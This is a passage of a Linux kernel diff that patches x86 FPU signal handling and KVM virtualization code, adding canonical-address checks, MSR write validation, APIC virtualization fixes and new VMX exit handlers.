message, regs->ip, regs->cs, - regs->sp, regs->ax, regs->si, regs->di); + printk_ratelimited("%s%s[%d] %s ip:%lx cs:%lx sp:%lx ax:%lx si:%lx di:%lx\n", + level, current->comm, task_pid_nr(current), + message, regs->ip, regs->cs, + regs->sp, regs->ax, regs->si, regs->di); } static int addr_to_vsyscall_nr(unsigned long addr) diff --git a/arch/x86/kernel/xsave.c b/arch/x86/kernel/xsave.c index ada87a329edcd..92f37e7683c50 100644 --- a/arch/x86/kernel/xsave.c +++ b/arch/x86/kernel/xsave.c @@ -268,8 +268,6 @@ int save_xstate_sig(void __user *buf, void __user *buf_fx, int size) if (use_fxsr() && save_xstate_epilog(buf_fx, ia32_fxstate)) return -1; - drop_init_fpu(tsk); /* trigger finit */ - return 0; } @@ -378,7 +376,7 @@ int __restore_xstate_sig(void __user *buf, void __user *buf_fx, int size) * thread's fpu state, reconstruct fxstate from the fsave * header. Sanitize the copied state etc. */ - struct xsave_struct *xsave = &tsk->thread.fpu.state->xsave; + struct fpu *fpu = &tsk->thread.fpu; struct user_i387_ia32_struct env; int err = 0; @@ -392,16 +390,20 @@ int __restore_xstate_sig(void __user *buf, void __user *buf_fx, int size) */ drop_fpu(tsk); - if (__copy_from_user(xsave, buf_fx, state_size) || + if (__copy_from_user(&fpu->state->xsave, buf_fx, state_size) || __copy_from_user(&env, buf, sizeof(env))) { + fpu_finit(fpu); err = -1; } else { sanitize_restored_xstate(tsk, &env, xstate_bv, fx_only); - set_used_math(); } - if (use_eager_fpu()) + set_used_math(); + if (use_eager_fpu()) { + preempt_disable(); math_state_restore(); + preempt_enable(); + } return err; } else { diff --git a/arch/x86/kvm/emulate.c b/arch/x86/kvm/emulate.c index 5484d54582ca7..ddad189e596e6 100644 --- a/arch/x86/kvm/emulate.c +++ b/arch/x86/kvm/emulate.c @@ -663,11 +663,6 @@ static void rsp_increment(struct x86_emulate_ctxt *ctxt, int inc) masked_increment(reg_rmw(ctxt, VCPU_REGS_RSP), stack_mask(ctxt), inc); } -static inline void jmp_rel(struct x86_emulate_ctxt *ctxt, int rel) -{ - register_address_increment(ctxt, &ctxt->_eip, rel); -} - static u32 desc_limit_scaled(struct desc_struct *desc) { u32 limit = get_desc_limit(desc); @@ -741,6 +736,38 @@ static int emulate_nm(struct x86_emulate_ctxt *ctxt) return emulate_exception(ctxt, NM_VECTOR, 0, false); } +static inline int assign_eip_far(struct x86_emulate_ctxt *ctxt, ulong dst, + int cs_l) +{ + switch (ctxt->op_bytes) { + case 2: + ctxt->_eip = (u16)dst; + break; + case 4: + ctxt->_eip = (u32)dst; + break; + case 8: + if ((cs_l && is_noncanonical_address(dst)) || + (!cs_l && (dst & ~(u32)-1))) + return emulate_gp(ctxt, 0); + ctxt->_eip = dst; + break; + default: + WARN(1, "unsupported eip assignment size\n"); + } + return X86EMUL_CONTINUE; +} + +static inline int assign_eip_near(struct x86_emulate_ctxt *ctxt, ulong dst) +{ + return assign_eip_far(ctxt, dst, ctxt->mode == X86EMUL_MODE_PROT64); +} + +static inline int jmp_rel(struct x86_emulate_ctxt *ctxt, int rel) +{ + return assign_eip_near(ctxt, ctxt->_eip + rel); +} + static u16 get_segment_selector(struct x86_emulate_ctxt *ctxt, unsigned seg) { u16 selector; @@ -2161,13 +2188,15 @@ static int em_grp45(struct x86_emulate_ctxt *ctxt) case 2: /* call near abs */ { long int old_eip; old_eip = ctxt->_eip; - ctxt->_eip = ctxt->src.val; + rc = assign_eip_near(ctxt, ctxt->src.val); + if (rc != X86EMUL_CONTINUE) + break; ctxt->src.val = old_eip; rc = em_push(ctxt); break; } case 4: /* jmp abs */ - ctxt->_eip = ctxt->src.val; + rc = assign_eip_near(ctxt, ctxt->src.val); break; case 5: /* jmp far */ rc = em_jmp_far(ctxt); @@ -2199,16 +2228,21 @@ static int em_cmpxchg8b(struct x86_emulate_ctxt *ctxt) static int em_ret(struct x86_emulate_ctxt *ctxt) { - ctxt->dst.type = OP_REG; - ctxt->dst.addr.reg = &ctxt->_eip; - ctxt->dst.bytes = ctxt->op_bytes; - return em_pop(ctxt); + int rc; + unsigned long eip; + + rc = emulate_pop(ctxt, &eip, ctxt->op_bytes); + if (rc != X86EMUL_CONTINUE) + return rc; + + return assign_eip_near(ctxt, eip); } static int em_ret_far(struct x86_emulate_ctxt *ctxt) { int rc; unsigned long cs; + int cpl = ctxt->ops->cpl(ctxt); rc = emulate_pop(ctxt, &ctxt->_eip, ctxt->op_bytes); if (rc != X86EMUL_CONTINUE) @@ -2218,6 +2252,9 @@ static int em_ret_far(struct x86_emulate_ctxt *ctxt) rc = emulate_pop(ctxt, &cs, ctxt->op_bytes); if (rc != X86EMUL_CONTINUE) return rc; + /* Outer-privilege level return is not implemented */ + if (ctxt->mode >= X86EMUL_MODE_PROT16 && (cs & 3) > cpl) + return X86EMUL_UNHANDLEABLE; rc = load_segment_descriptor(ctxt, (u16)cs, VCPU_SREG_CS); return rc; } @@ -2413,7 +2450,7 @@ static int em_sysenter(struct x86_emulate_ctxt *ctxt) * Not recognized on AMD in compat mode (but is recognized in legacy * mode). */ - if ((ctxt->mode == X86EMUL_MODE_PROT32) && (efer & EFER_LMA) + if ((ctxt->mode != X86EMUL_MODE_PROT64) && (efer & EFER_LMA) && !vendor_intel(ctxt)) return emulate_ud(ctxt); @@ -2426,25 +2463,13 @@ static int em_sysenter(struct x86_emulate_ctxt *ctxt) setup_syscalls_segments(ctxt, &cs, &ss); ops->get_msr(ctxt, MSR_IA32_SYSENTER_CS, &msr_data); - switch (ctxt->mode) { - case X86EMUL_MODE_PROT32: - if ((msr_data & 0xfffc) == 0x0) - return emulate_gp(ctxt, 0); - break; - case X86EMUL_MODE_PROT64: - if (msr_data == 0x0) - return emulate_gp(ctxt, 0); - break; - default: - break; - } + if ((msr_data & 0xfffc) == 0x0) + return emulate_gp(ctxt, 0); ctxt->eflags &= ~(EFLG_VM | EFLG_IF | EFLG_RF); - cs_sel = (u16)msr_data; - cs_sel &= ~SELECTOR_RPL_MASK; + cs_sel = (u16)msr_data & ~SELECTOR_RPL_MASK; ss_sel = cs_sel + 8; - ss_sel &= ~SELECTOR_RPL_MASK; - if (ctxt->mode == X86EMUL_MODE_PROT64 || (efer & EFER_LMA)) { + if (efer & EFER_LMA) { cs.d = 0; cs.l = 1; } @@ -2453,10 +2478,11 @@ static int em_sysenter(struct x86_emulate_ctxt *ctxt) ops->set_segment(ctxt, ss_sel, &ss, 0, VCPU_SREG_SS); ops->get_msr(ctxt, MSR_IA32_SYSENTER_EIP, &msr_data); - ctxt->_eip = msr_data; + ctxt->_eip = (efer & EFER_LMA) ? msr_data : (u32)msr_data; ops->get_msr(ctxt, MSR_IA32_SYSENTER_ESP, &msr_data); - *reg_write(ctxt, VCPU_REGS_RSP) = msr_data; + *reg_write(ctxt, VCPU_REGS_RSP) = (efer & EFER_LMA) ? msr_data : + (u32)msr_data; return X86EMUL_CONTINUE; } @@ -2465,7 +2491,7 @@ static int em_sysexit(struct x86_emulate_ctxt *ctxt) { const struct x86_emulate_ops *ops = ctxt->ops; struct desc_struct cs, ss; - u64 msr_data; + u64 msr_data, rcx, rdx; int usermode; u16 cs_sel = 0, ss_sel = 0; @@ -2481,6 +2507,9 @@ static int em_sysexit(struct x86_emulate_ctxt *ctxt) else usermode = X86EMUL_MODE_PROT32; + rcx = reg_read(ctxt, VCPU_REGS_RCX); + rdx = reg_read(ctxt, VCPU_REGS_RDX); + cs.dpl = 3; ss.dpl = 3; ops->get_msr(ctxt, MSR_IA32_SYSENTER_CS, &msr_data); @@ -2498,6 +2527,9 @@ static int em_sysexit(struct x86_emulate_ctxt *ctxt) ss_sel = cs_sel + 8; cs.d = 0; cs.l = 1; + if (is_noncanonical_address(rcx) || + is_noncanonical_address(rdx)) + return emulate_gp(ctxt, 0); break; } cs_sel |= SELECTOR_RPL_MASK; @@ -2506,8 +2538,8 @@ static int em_sysexit(struct x86_emulate_ctxt *ctxt) ops->set_segment(ctxt, cs_sel, &cs, 0, VCPU_SREG_CS); ops->set_segment(ctxt, ss_sel, &ss, 0, VCPU_SREG_SS); - ctxt->_eip = reg_read(ctxt, VCPU_REGS_RDX); - *reg_write(ctxt, VCPU_REGS_RSP) = reg_read(ctxt, VCPU_REGS_RCX); + ctxt->_eip = rdx; + *reg_write(ctxt, VCPU_REGS_RSP) = rcx; return X86EMUL_CONTINUE; } @@ -3046,10 +3078,13 @@ static int em_aad(struct x86_emulate_ctxt *ctxt) static int em_call(struct x86_emulate_ctxt *ctxt) { + int rc; long rel = ctxt->src.val; ctxt->src.val = (unsigned long)ctxt->_eip; - jmp_rel(ctxt, rel); + rc = jmp_rel(ctxt, rel); + if (rc != X86EMUL_CONTINUE) + return rc; return em_push(ctxt); } @@ -3081,11 +3116,12 @@ static int em_call_far(struct x86_emulate_ctxt *ctxt) static int em_ret_near_imm(struct x86_emulate_ctxt *ctxt) { int rc; + unsigned long eip; - ctxt->dst.type = OP_REG; - ctxt->dst.addr.reg = &ctxt->_eip; - ctxt->dst.bytes = ctxt->op_bytes; - rc = emulate_pop(ctxt, &ctxt->dst.val, ctxt->op_bytes); + rc = emulate_pop(ctxt, &eip, ctxt->op_bytes); + if (rc != X86EMUL_CONTINUE) + return rc; + rc = assign_eip_near(ctxt, eip); if (rc != X86EMUL_CONTINUE) return rc; rsp_increment(ctxt, ctxt->src.val); @@ -3375,20 +3411,24 @@ static int em_lmsw(struct x86_emulate_ctxt *ctxt) static int em_loop(struct x86_emulate_ctxt *ctxt) { + int rc = X86EMUL_CONTINUE; + register_address_increment(ctxt, reg_rmw(ctxt, VCPU_REGS_RCX), -1); if ((address_mask(ctxt, reg_read(ctxt, VCPU_REGS_RCX)) != 0) && (ctxt->b == 0xe2 || test_cc(ctxt->b ^ 0x5, ctxt->eflags))) - jmp_rel(ctxt, ctxt->src.val); + rc = jmp_rel(ctxt, ctxt->src.val); - return X86EMUL_CONTINUE; + return rc; } static int em_jcxz(struct x86_emulate_ctxt *ctxt) { + int rc = X86EMUL_CONTINUE; + if (address_mask(ctxt, reg_read(ctxt, VCPU_REGS_RCX)) == 0) - jmp_rel(ctxt, ctxt->src.val); + rc = jmp_rel(ctxt, ctxt->src.val); - return X86EMUL_CONTINUE; + return rc; } static int em_in(struct x86_emulate_ctxt *ctxt) @@ -4681,7 +4721,8 @@ int x86_emulate_insn(struct x86_emulate_ctxt *ctxt) if (rc != X86EMUL_CONTINUE) goto done; } - ctxt->dst.orig_val = ctxt->dst.val; + /* Copy full 64-bit value for CMPXCHG8B. */ + ctxt->dst.orig_val64 = ctxt->dst.val64; special_insn: @@ -4717,7 +4758,7 @@ int x86_emulate_insn(struct x86_emulate_ctxt *ctxt) break; case 0x70 ... 0x7f: /* jcc (short) */ if (test_cc(ctxt->b, ctxt->eflags)) - jmp_rel(ctxt, ctxt->src.val); + rc = jmp_rel(ctxt, ctxt->src.val); break; case 0x8d: /* lea r16/r32, m */ ctxt->dst.val = ctxt->src.addr.mem.ea; @@ -4746,7 +4787,7 @@ int x86_emulate_insn(struct x86_emulate_ctxt *ctxt) break; case 0xe9: /* jmp rel */ case 0xeb: /* jmp rel short */ - jmp_rel(ctxt, ctxt->src.val); + rc = jmp_rel(ctxt, ctxt->src.val); ctxt->dst.type = OP_NONE; /* Disable writeback. */ break; case 0xf4: /* hlt */ @@ -4858,7 +4899,7 @@ int x86_emulate_insn(struct x86_emulate_ctxt *ctxt) break; case 0x80 ... 0x8f: /* jnz rel, etc*/ if (test_cc(ctxt->b, ctxt->eflags)) - jmp_rel(ctxt, ctxt->src.val); + rc = jmp_rel(ctxt, ctxt->src.val); break; case 0x90 ... 0x9f: /* setcc r/m8 */ ctxt->dst.val = test_cc(ctxt->b, ctxt->eflags); diff --git a/arch/x86/kvm/i8254.c b/arch/x86/kvm/i8254.c index 518d86471b76f..b0a706d063cb7 100644 --- a/arch/x86/kvm/i8254.c +++ b/arch/x86/kvm/i8254.c @@ -244,7 +244,7 @@ static void kvm_pit_ack_irq(struct kvm_irq_ack_notifier *kian) * PIC is being reset. Handle it gracefully here */ atomic_inc(&ps->pending); - else if (value > 0) + else if (value > 0 && ps->reinject) /* in this case, we had multiple outstanding pit interrupts * that we needed to inject. Reinject */ @@ -262,8 +262,10 @@ void __kvm_migrate_pit_timer(struct kvm_vcpu *vcpu) return; timer = &pit->pit_state.timer; + mutex_lock(&pit->pit_state.lock); if (hrtimer_cancel(timer)) hrtimer_start_expires(timer, HRTIMER_MODE_ABS); + mutex_unlock(&pit->pit_state.lock); } static void destroy_pit_timer(struct kvm_pit *pit) @@ -285,7 +287,9 @@ static void pit_do_work(struct kthread_work *work) * last one has been acked. */ spin_lock(&ps->inject_lock); - if (ps->irq_ack) { + if (!ps->reinject) + inject = 1; + else if (ps->irq_ack) { ps->irq_ack = 0; inject = 1; } @@ -303,7 +307,7 @@ static void pit_do_work(struct kthread_work *work) * LVT0 to NMI delivery. Other PIC interrupts are just sent to * VCPU0, and only if its LVT0 is in EXTINT mode. */ - if (kvm->arch.vapics_in_nmi_mode > 0) + if (atomic_read(&kvm->arch.vapics_in_nmi_mode) > 0) kvm_for_each_vcpu(i, vcpu, kvm) kvm_apic_nmi_wd_deliver(vcpu); } @@ -314,10 +318,10 @@ static enum hrtimer_restart pit_timer_fn(struct hrtimer *data) struct kvm_kpit_state *ps = container_of(data, struct kvm_kpit_state, timer); struct kvm_pit *pt = ps->kvm->arch.vpit; - if (ps->reinject || !atomic_read(&ps->pending)) { + if (ps->reinject) atomic_inc(&ps->pending); - queue_kthread_work(&pt->worker, &pt->expired); - } + + queue_kthread_work(&pt->worker, &pt->expired); if (ps->is_periodic) { hrtimer_add_expires_ns(&ps->timer, ps->period); diff --git a/arch/x86/kvm/irq.c b/arch/x86/kvm/irq.c index 484bc874688b4..3ec38cb56bd56 100644 --- a/arch/x86/kvm/irq.c +++ b/arch/x86/kvm/irq.c @@ -108,7 +108,7 @@ int kvm_cpu_get_interrupt(struct kvm_vcpu *v) vector = kvm_cpu_get_extint(v); - if (kvm_apic_vid_enabled(v->kvm) || vector != -1) + if (vector != -1) return vector; /* PIC */ return kvm_get_apic_interrupt(v); /* APIC */ diff --git a/arch/x86/kvm/lapic.c b/arch/x86/kvm/lapic.c index 279d093524b41..ff280209d7de6 100644 --- a/arch/x86/kvm/lapic.c +++ b/arch/x86/kvm/lapic.c @@ -362,25 +362,46 @@ static inline int apic_find_highest_irr(struct kvm_lapic *apic) static inline void apic_clear_irr(int vec, struct kvm_lapic *apic) { - apic->irr_pending = false; + struct kvm_vcpu *vcpu; + + vcpu = apic->vcpu; + apic_clear_vector(vec, apic->regs + APIC_IRR); - if (apic_search_irr(apic) != -1) - apic->irr_pending = true; + if (unlikely(kvm_apic_vid_enabled(vcpu->kvm))) + /* try to update RVI */ + kvm_make_request(KVM_REQ_EVENT, vcpu); + else { + vec = apic_search_irr(apic); + apic->irr_pending = (vec != -1); + } } static inline void apic_set_isr(int vec, struct kvm_lapic *apic) { - /* Note that we never get here with APIC virtualization enabled. */ + struct kvm_vcpu *vcpu; + + if (__apic_test_and_set_vector(vec, apic->regs + APIC_ISR)) + return; + + vcpu = apic->vcpu; - if (!__apic_test_and_set_vector(vec, apic->regs + APIC_ISR)) - ++apic->isr_count; - BUG_ON(apic->isr_count > MAX_APIC_VECTOR); /* - * ISR (in service register) bit is set when injecting an interrupt. - * The highest vector is injected. Thus the latest bit set matches - * the highest bit in ISR. + * With APIC virtualization enabled, all caching is disabled + * because the processor can modify ISR under the hood. Instead + * just set SVI. */ - apic->highest_isr_cache = vec; + if (unlikely(kvm_apic_vid_enabled(vcpu->kvm))) + kvm_x86_ops->hwapic_isr_update(vcpu->kvm, vec); + else { + ++apic->isr_count; + BUG_ON(apic->isr_count > MAX_APIC_VECTOR); + /* + * ISR (in service register) bit is set when injecting an interrupt. + * The highest vector is injected. Thus the latest bit set matches + * the highest bit in ISR. + */ + apic->highest_isr_cache = vec; + } } static inline int apic_find_highest_isr(struct kvm_lapic *apic) @@ -1102,10 +1123,10 @@ static void apic_manage_nmi_watchdog(struct kvm_lapic *apic, u32 lvt0_val) if (!nmi_wd_enabled) { apic_debug("Receive NMI setting on APIC_LVT0 " "for cpu %d\n", apic->vcpu->vcpu_id); - apic->vcpu->kvm->arch.vapics_in_nmi_mode++; + atomic_inc(&apic->vcpu->kvm->arch.vapics_in_nmi_mode); } } else if (nmi_wd_enabled) - apic->vcpu->kvm->arch.vapics_in_nmi_mode--; + atomic_dec(&apic->vcpu->kvm->arch.vapics_in_nmi_mode); } static int apic_reg_write(struct kvm_lapic *apic, u32 reg, u32 val) @@ -1641,11 +1662,16 @@ int kvm_get_apic_interrupt(struct kvm_vcpu *vcpu) int vector = kvm_apic_has_interrupt(vcpu); struct kvm_lapic *apic = vcpu->arch.apic; - /* Note that we never get here with APIC virtualization enabled. */ - if (vector == -1) return -1; + /* + * We get here even with APIC virtualization enabled, if doing + * nested virtualization and L1 runs with the "acknowledge interrupt + * on exit" mode. Then we cannot inject the interrupt via RVI, + * because the process would deliver it through the IDT. + */ + apic_set_isr(vector, apic); apic_update_ppr(apic); apic_clear_irr(vector, apic); diff --git a/arch/x86/kvm/lapic.h b/arch/x86/kvm/lapic.h index c8b0d0d2da5ce..fc87568fc4093 100644 --- a/arch/x86/kvm/lapic.h +++ b/arch/x86/kvm/lapic.h @@ -165,7 +165,7 @@ static inline u16 apic_logical_id(struct kvm_apic_map *map, u32 ldr) static inline bool kvm_apic_has_events(struct kvm_vcpu *vcpu) { - return vcpu->arch.apic->pending_events; + return kvm_vcpu_has_lapic(vcpu) && vcpu->arch.apic->pending_events; } bool kvm_apic_pending_eoi(struct kvm_vcpu *vcpu, int vector); diff --git a/arch/x86/kvm/mmu.c b/arch/x86/kvm/mmu.c index 711c649f80b7e..5a75ebf3d69fc 100644 --- a/arch/x86/kvm/mmu.c +++ b/arch/x86/kvm/mmu.c @@ -3072,7 +3072,7 @@ static void mmu_sync_roots(struct kvm_vcpu *vcpu) if (!VALID_PAGE(vcpu->arch.mmu.root_hpa)) return; - vcpu_clear_mmio_info(vcpu, ~0ul); + vcpu_clear_mmio_info(vcpu, MMIO_GVA_ANY); kvm_mmu_audit(vcpu, AUDIT_PRE_SYNC); if (vcpu->arch.mmu.root_level == PT64_ROOT_LEVEL) { hpa_t root = vcpu->arch.mmu.root_hpa; @@ -3975,7 +3975,7 @@ void kvm_mmu_pte_write(struct kvm_vcpu *vcpu, gpa_t gpa, ++vcpu->kvm->stat.mmu_pte_write; kvm_mmu_audit(vcpu, AUDIT_PRE_PTE_WRITE); - mask.cr0_wp = mask.cr4_pae = mask.nxe = 1; + mask.cr0_wp = mask.cr4_pae = mask.nxe = mask.smep_andnot_wp = 1; for_each_gfn_indirect_valid_sp(vcpu->kvm, sp, gfn) { if (detect_write_misaligned(sp, gpa, bytes) || detect_write_flooding(sp)) { diff --git a/arch/x86/kvm/svm.c b/arch/x86/kvm/svm.c index 765210d4d925f..3deddd796f769 100644 --- a/arch/x86/kvm/svm.c +++ b/arch/x86/kvm/svm.c @@ -495,8 +495,10 @@ static void skip_emulated_instruction(struct kvm_vcpu *vcpu) { struct vcpu_svm *svm = to_svm(vcpu); - if (svm->vmcb->control.next_rip != 0) + if (svm->vmcb->control.next_rip != 0) { + WARN_ON_ONCE(!static_cpu_has(X86_FEATURE_NRIPS)); svm->next_rip = svm->vmcb->control.next_rip; + } if (!svm->next_rip) { if (emulate_instruction(vcpu, EMULTYPE_SKIP) != @@ -3196,7 +3198,7 @@ static int wrmsr_interception(struct vcpu_svm *svm) msr.host_initiated = false; svm->next_rip = kvm_rip_read(&svm->vcpu) + 2; - if (svm_set_msr(&svm->vcpu, &msr)) { + if (kvm_set_msr(&svm->vcpu, &msr)) { trace_kvm_msr_write_ex(ecx, data); kvm_inject_gp(&svm->vcpu, 0); } else { @@ -3478,9 +3480,9 @@ static int handle_exit(struct kvm_vcpu *vcpu) if (exit_code >= ARRAY_SIZE(svm_exit_handlers) || !svm_exit_handlers[exit_code]) { - kvm_run->exit_reason = KVM_EXIT_UNKNOWN; - kvm_run->hw.hardware_exit_reason = exit_code; - return 0; + WARN_ONCE(1, "vmx: unexpected exit reason 0x%x\n", exit_code); + kvm_queue_exception(vcpu, UD_VECTOR); + return 1; } return svm_exit_handlers[exit_code](svm); @@ -4229,7 +4231,9 @@ static int svm_check_intercept(struct kvm_vcpu *vcpu, break; } - vmcb->control.next_rip = info->next_rip; + /* TODO: Advertise NRIPS to guest hypervisor unconditionally */ + if (static_cpu_has(X86_FEATURE_NRIPS)) + vmcb->control.next_rip = info->next_rip; vmcb->control.exit_code = icpt_info.exit_code; vmexit = nested_svm_exit_handled(svm); diff --git a/arch/x86/kvm/vmx.c b/arch/x86/kvm/vmx.c index 7cdafb6dc705c..335fe70967a84 100644 --- a/arch/x86/kvm/vmx.c +++ b/arch/x86/kvm/vmx.c @@ -438,6 +438,7 @@ struct vcpu_vmx { #endif int gs_ldt_reload_needed; int fs_reload_needed; + unsigned long vmcs_host_cr4; /* May not match real cr4 */ } host_state; struct { int vm86_active; @@ -1486,6 +1487,13 @@ static void add_atomic_switch_msr(struct vcpu_vmx *vmx, unsigned msr, return; } break; + case MSR_IA32_PEBS_ENABLE: + /* PEBS needs a quiescent period after being disabled (to write + * a record). Disabling PEBS through VMX MSR swapping doesn't + * provide that period, so a CPU could write host's record into + * guest's memory. + */ + wrmsrl(MSR_IA32_PEBS_ENABLE, 0); } for (i = 0; i < m->nr; ++i) @@ -2493,12 +2501,15 @@ static int vmx_set_msr(struct kvm_vcpu *vcpu, struct msr_data *msr_info) break; msr = find_msr_entry(vmx, msr_index); if (msr) { + u64 old_msr_data = msr->data; msr->data = data; if (msr - vmx->guest_msrs < vmx->save_nmsrs) { preempt_disable(); - kvm_set_shared_msr(msr->index, msr->data, - msr->mask); + ret = kvm_set_shared_msr(msr->index, msr->data, + msr->mask); preempt_enable(); + if (ret) + msr->data = old_msr_data; } break; } @@ -4073,11 +4084,16 @@ static void vmx_set_constant_host_state(struct vcpu_vmx *vmx) u32 low32, high32; unsigned long tmpl; struct desc_ptr dt; + unsigned long cr4; vmcs_writel(HOST_CR0, read_cr0() & ~X86_CR0_TS); /* 22.2.3 */ - vmcs_writel(HOST_CR4, read_cr4()); /* 22.2.3, 22.2.5 */ vmcs_writel(HOST_CR3, read_cr3()); /* 22.2.3 FIXME: shadow tables */ + /* Save the most likely value for this task's CR4 in the VMCS. */ + cr4 = read_cr4(); + vmcs_writel(HOST_CR4, cr4); /* 22.2.3, 22.2.5 */ + vmx->host_state.vmcs_host_cr4 = cr4; + vmcs_write16(HOST_CS_SELECTOR, __KERNEL_CS); /* 22.2.4 */ #ifdef CONFIG_X86_64 /* @@ -5062,7 +5078,7 @@ static int handle_wrmsr(struct kvm_vcpu *vcpu) msr.data = data; msr.index = ecx; msr.host_initiated = false; - if (vmx_set_msr(vcpu, &msr) != 0) { + if (kvm_set_msr(vcpu, &msr) != 0) { trace_kvm_msr_write_ex(ecx, data); kvm_inject_gp(vcpu, 0); return 1; @@ -6239,6 +6255,18 @@ static int handle_vmptrst(struct kvm_vcpu *vcpu) return 1; } +static int handle_invept(struct kvm_vcpu *vcpu) +{ + kvm_queue_exception(vcpu, UD_VECTOR); + return 1; +} + +static int handle_invvpid(struct kvm_vcpu *vcpu) +{ + kvm_queue_exception(vcpu, UD_VECTOR); + return 1; +} + /* * The exit handlers return 1 if the exit was handled fully and guest execution * may resume. Otherwise they set the kvm_run parameter to indicate what needs @@ -6283,6 +6311,8 @@ static int (*const kvm_vmx_exit_handlers[])(struct kvm_vcpu *vcpu) = { [EXIT_REASON_PAUSE_INSTRUCTION] = handle_pause, [EXIT_REASON_MWAIT_INSTRUCTION] = handle_invalid_op, [EXIT_REASON_MONITOR_INSTRUCTION] = handle_invalid_op, + [EXIT_REASON_INVEPT] = handle_invept, + [EXIT_REASON_INVVPID] = handle_invvpid, }; static const int kvm_vmx_max_exit_handlers = @@ -6509,6 +6539,7 @@ static bool nested_vmx_exit_handled(struct kvm_vcpu *vcpu) case EXIT_REASON_VMPTRST: case EXIT_REASON_VMREAD: case EXIT_REASON_VMRESUME: case EXIT_REASON_VMWRITE: case EXIT_REASON_VMOFF: case EXIT_REASON_VMON: + case EXIT_REASON_INVEPT: case EXIT_REASON_INVVPID: /* * VMX instructions trap unconditionally. This allows L1 to * emulate them for its L2 guest, i.e., allows 3-level nesting! @@ -6651,10 +6682,10 @@ static int vmx_handle_exit(struct kvm_vcpu *vcpu) && kvm_vmx_exit_handlers[exit_reason]) return kvm_vmx_exit_handlers[exit_reason](vcpu); else { - vcpu->run->exit_reason = KVM_EXIT_UNKNOWN; - vcpu->run->hw.hardware_exit_reason = exit_reason; + WARN_ONCE(1, "vmx: unexpected exit reason 0x%x\n", exit_reason); + kvm_queue_exception(vcpu, UD_VECTOR); + return 1; } - return 0; } static void update_cr8_intercept(struct kvm_vcpu *vcpu, int tpr, int irr) @@ -6953,7 +6984,7 @@ static void atomic_switch_perf_msrs(struct vcpu_vmx *vmx) static void __noclone vmx_vcpu_run(struct kvm_vcpu *vcpu) { struct vcpu_vmx *vmx = to_vmx(vcpu); - unsigned long debugctlmsr; + unsigned long debugctlmsr, cr4; /* Record the guest's net vcpu time for enforced NMI injections. */ if (unlikely(!cpu_has_virtual_nmis() && vmx->soft_vnmi_blocked)) @@ -6974,6 +7005,12 @@ static void __noclone vmx_vcpu_run(struct kvm_vcpu *vcpu) if (test_bit(VCPU_REGS_RIP, (unsigned long *)&vcpu->arch.regs_dirty)) vmcs_writel(GUEST_RIP, vcpu->arch.regs[VCPU_REGS_RIP]); + cr4 = read_cr4(); + if (unlikely(cr4 != vmx->host_state.vmcs_host_cr4)) { + vmcs_writel(HOST_CR4, cr4); + vmx->host_state.vmcs_host_cr4 = cr4; + } + /* When single-stepping over STI and MOV SS, we must clear the * corresponding interruptibility bits in the guest state. Otherwise * vmentry fails as it then expects bit 14 (BS) in pending debug @@ -7949,7 +7986,7 @@ static void load_vmcs12_host_state(struct kvm_vcpu *vcpu, kvm_register_write(vcpu, VCPU_REGS_RSP, vmcs12->host_rsp); kvm_register_write(vcpu, VCPU_REGS_RIP, vmcs12->host_rip); - vmx_set_rflags(vcpu, X86_EFLAGS_BIT1); + vmx_set_rflags(vcpu, X86_EFLAGS_FIXED); /* * Note that calling vmx_set_cr0 is important, even if cr0 hasn't * actually changed, because it depends on the current state of diff --git a/arch/x86/kvm/x86.c b/arch/x86/kvm/x86.c index 1be0a9e75d1fe..8e57771d4bfde 100644 --- a/arch/x86/kvm/x86.c +++ b/arch/x86/kvm/x86.c @@ -225,20 +225,25 @@ static void kvm_shared_msr_cpu_online(void) shared_msr_update(i, shared_msrs_global.msrs[i]); } -void kvm_set_shared_msr(unsigned slot, u64 value, u64 mask) +int kvm_set_shared_msr(unsigned slot, u64 value, u64 mask) { unsigned int cpu = smp_processor_id(); struct kvm_shared_msrs *smsr = per_cpu_ptr(shared_msrs, cpu); + int err; if (((value ^ smsr->values[slot].curr) & mask) == 0) - return; + return 0; smsr->values[slot].curr = value; - wrmsrl(shared_msrs_global.msrs[slot], value); + err = wrmsrl_safe(shared_msrs_global.msrs[slot], value); + if (err) + return 1; + if (!smsr->registered) { smsr->urn.on_user_return = kvm_on_user_return; user_return_notifier_register(&smsr->urn); smsr->registered = true; } + return 0; } EXPORT_SYMBOL_GPL(kvm_set_shared_msr); @@ -621,7 +626,7 @@ int kvm_set_cr4(struct kvm_vcpu *vcpu, unsigned long cr4) if (!guest_cpuid_has_smep(vcpu) && (cr4 & X86_CR4_SMEP)) return 1; - if (!guest_cpuid_has_fsgsbase(vcpu) && (cr4 & X86_CR4_RDWRGSFS)) + if (!guest_cpuid_has_fsgsbase(vcpu) && (cr4 & X86_CR4_FSGSBASE)) return 1; if (is_long_mode(vcpu)) { @@ -920,7 +925,6 @@ void kvm_enable_efer_bits(u64 mask) } EXPORT_SYMBOL_GPL(kvm_enable_efer_bits); - /* * Writes msr value into into the appropriate "register". * Returns 0 on success, non-0 otherwise. @@ -928,8 +932,34 @@ EXPORT_SYMBOL_GPL(kvm_enable_efer_bits); */ int kvm_set_msr(struct kvm_vcpu *vcpu, struct msr_data *msr) { + switch (msr->index) { + case MSR_FS_BASE: + case MSR_GS_BASE: + case MSR_KERNEL_GS_BASE: + case MSR_CSTAR: + case MSR_LSTAR: + if (is_noncanonical_address(msr->data)) + return 1; + break; + case MSR_IA32_SYSENTER_EIP: + case MSR_IA32_SYSENTER_ESP: + /* + * IA32_SYSENTER_ESP and IA32_SYSENTER_EIP cause #GP if + * non-canonical address is written on Intel but not on + * AMD (which ignores the top 32-bits, because it does + * not implement 64-bit SYSENTER). + * + * 64-bit code should hence be able to write a non-canonical + * value on AMD. Making the address canonical ensures that + * vmentry does not fail on Intel after writing a non-canonical + * value, and that something deterministic happens if the guest + * invokes 64-bit SYSENTER. + */ + msr->data = get_canonical(msr->data); + } return kvm_x86_ops->set_msr(vcpu, msr); } +EXPORT_SYMBOL_GPL(kvm_set_msr); /* * Adapt set_msr() to msr_io()'s calling convention @@ -1152,21 +1182,22 @@ void kvm_track_tsc_matching(struct kvm_vcpu *vcpu) { #ifdef CONFIG_X86_64 bool vcpus_matched; - bool do_request = false; struct kvm_arch *ka = &vcpu->kvm->arch; struct pvclock_gtod_data *gtod = &pvclock_gtod_data; vcpus_matched = (ka->nr_vcpus_matched_tsc + 1 == atomic_read(&vcpu->kvm->online_vcpus)); - if (vcpus_matched && gtod->clock.vclock_mode == VCLOCK_TSC) - if (!ka->use_master_clock) - do_request = 1; - - if (!vcpus_matched && ka->use_master_clock) - do_request = 1; - - if 